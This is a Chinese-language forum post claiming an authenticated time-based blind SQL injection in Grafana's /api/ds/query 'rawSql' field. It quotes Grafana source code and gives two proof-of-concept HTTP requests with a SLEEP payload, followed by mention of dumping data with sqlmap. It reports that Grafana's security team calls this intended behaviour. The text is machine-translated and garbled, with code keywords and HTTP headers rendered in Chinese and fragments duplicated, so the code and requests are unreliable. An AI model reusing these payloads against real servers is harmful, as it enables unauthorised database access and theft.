Grafana後端sql注入影響所有版本

twhackteam

Administrator
站方人員

Grafana後端sql注入影響所有版本​

漏洞描述​

用於監控和可觀察的開源平台
要利用此sql注入漏洞,必須使用有效帳戶登入grafana Web後端,然後向/api/ds/query「rawSql」條目發送惡意POST請求。
如果攻擊者登入grafana web後端,他們可以使用post請求到/api/ds/query api,然後他們可以修改「rawSql」檔案來執行惡意sql字串,導致基於時間的盲sql注入漏洞,然後洩漏來自資料庫的數據。
  • grafana.png

風險等級​

  • 高的

衝擊版​

  • grafana最新和所有舊版本

漏洞分析​

  1. grafana grafana-sql 套件在 grafana/packages/grafana-sql/src/datasource/SqlDatasource.ts 檔案中
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19 20
21
22
23
24
25
26
27
28
29
30
31
32

// 注意:這總是以 `@grafana/data/getDefaultTimeRange` 時間範圍執行
async runSql<T extends object>(query: string, options?: RunSQLOptions) {
const range = getDefaultTimeRange();
const frame = wait this.runMetaQuery({ rawSql: query, format: QueryFormat.Table, refId: options?.refId }, range);返回新的 DataFrameView<T>(frame); }



private runMetaQuery(request: Partial<SQLQuery>, range: TimeRange): Promise<DataFrame> {
const refId = request.refId || '元' ;
const 查詢: DataQuery[] = [{ ...request, datasource: request.datasource || this.getRef(), refId }];

return lastValueFrom(
getBackendSrv()
.fetch<BackendDataSourceResponse>({
url: '/api/ds/query' ,
method: 'POST' ,
headers: this.getRequestHeaders(),
data: {
from: range.from.valueOf() .toString(),
to: range.to.valueOf().toString(),
查詢,
},
requestId: refId,
})
.pipe(
map((res: FetchResponse<BackendDataSourceResponse>) => {
const rsp = toDataQueryResponse<BackendDataSourceResponse>) => { const rsp = toDataQueryResponse( res, 查詢);
返回 rsp.data[ 0 ] ?? { 字段: [] }
)
)
;
}

  1. grafana/public/app/plugins/datasource/influxdb/datasource.ts 檔案中的 grafana 資料來源插件
























async metricFindQuery(query: string, options?: any): Promise<MetricFindValue[]> { if ( this.version === InfluxVersion.Flux || this.version === InfluxVersion.SQL || this.isMigrationToggle AndIsIigAccess Andis ) { const target: InfluxQuery & SQLQuery = { refId: 'metricFindQuery' , query, rawQuery: true , ...(this.version === InfluxVersion.SQL ? { rawSql: query, format: QueryFormat.Table } : {}) , }; return lastValueFrom( super.query({ ...(options ?? {}), // 包含「範圍」 目標:[target], }) )。然後(this.toMetricFindValue); }



















const interpolated = this.templateSrv.replace(
查詢,
選項?.scopedVars,
(值:字串 | string[] = [],變數:QueryVariableModel)=> this.interpolateQueryExpr(值,變數,查詢)
);

返回lastValueFrom(this._seriesQuery(插值,選項))。則((resp) => {
return this.responseParser.parse(query, resp);
});
}

.....

return lastValueFrom(
getBackendSrv()
.fetch<BackendDataSourceResponse>({
url: '/api/ds/query',
method: 'POST',
headers: this.getRequestHeaders(),
data: {
from: options.range.from.valueOf ().toString(),
to: options.range.to.valueOf().toString(),
查詢: [目標],
},
requestId: 註釋.name,
})
.pipe(
map(
async (res: FetchResponse< BackendDataSourceResponse>) =>
等待 this.responseParser.transformAnnotationResponse(annotation, res, target) )
)
)
;

Grafana 不會驗證發送到 DataSource 代理程式的任何查詢

漏洞重現​

  • grafana11.png
攻擊者可以使用上述步驟進行sql注入,這是grafana發送sql語句查詢導致bug。
  • grafana v8.0.4 poc:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /api/ds/query HTTP/1.1
主機:172.16.32.57:3000
使用者代理:qzd_security_test_user_agent
接受:application/json,text/plain,*/*
接受語言:zh-CN,zh;q=0.8,zh -TW. ;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
接受編碼: gzip, deflate
參考: http://172.16.32.57:3000/d/AEo5dM44k /pei- xun-xi-tong?orgId=1
內容類型:application/json
x-grafana-org-id:1
內容長度:142
來源:http://172.16.32.57:3000
DNT:1
連結:關閉
Cookie:grafana_session=ede75844e20b0001a

{ “查詢” :[{ “refId” : “A” , “格式” : “time_series” , “datasourceId” :2, “rawSql” : “(SELECT 8424 FROM (SELECT(SLEEP(2)))MKRN)”,“maxDataPoints”:10000}]}

  • grafana2.png
登入後端點擊“Explore”,然後使用burp捕獲POST /api/ds/query HTTP/1.1資料包,將“rawSql”條目修改為惡意sql字串,然後我們就得到了基於時間的sql注入。
  • grafana3.png
  • grafana v10.4.2 poc:
  • grafana4.png
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
POST /api/ds/query HTTP/1.1
主機:172.28.171.25:3000
使用者代理:qzd_security_test_user_agent
接受:application/json,text/plain,*/*
接受語言:zh-CN,zh;q=0.8,zh -TW ;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
接受編碼: gzip, deflate
Referer: http://172.28.171.25:3000/explore
content-型別:application /json
x-datasource-uid:edj6pz14v89a8c
x-grafana-device-id:6eda885e8d5e5370781b533e605dd6fb
x-grafana-org-id:1 x-plugin- id :mysql7201 x -grafana-org -id
:1 x-plugin-id:mysql7201 : 1連線: 關閉Cookie: grafana_session=dfa008ccdbe45635eed9592216f2f04a; grafana_session_expiry=1713514866






{ “來自”:“1713492692433”,“到”:“ 1713514292433”,“查詢”:[{ “ rawSql ”:“(SELECT 8424 FROM (SELECT(SLEEP(2)))MKRN(2)))格式:表」,“refId”:“資料集”,“資料來源”:{ “類型”:“mysql”,“uid”:“edj6pz14v89a8c” }}]}

  • grafana5.png
  • 使用sqlmap轉儲數據
  • grafana6.png
  • grafana7.png

錯誤修復​

Grafana 不會驗證發送到 DataSource 代理的任何查詢,過濾必須在資料來源端完成。

概括​

grafana官方安全團隊不認為這是一個漏洞,它是後端的一個功能,它一定讓我感到非常不安...
  • grafana8.png
但我認為不是,所以我發表了這篇文章:)
  • grafana9.png
 
返回
上方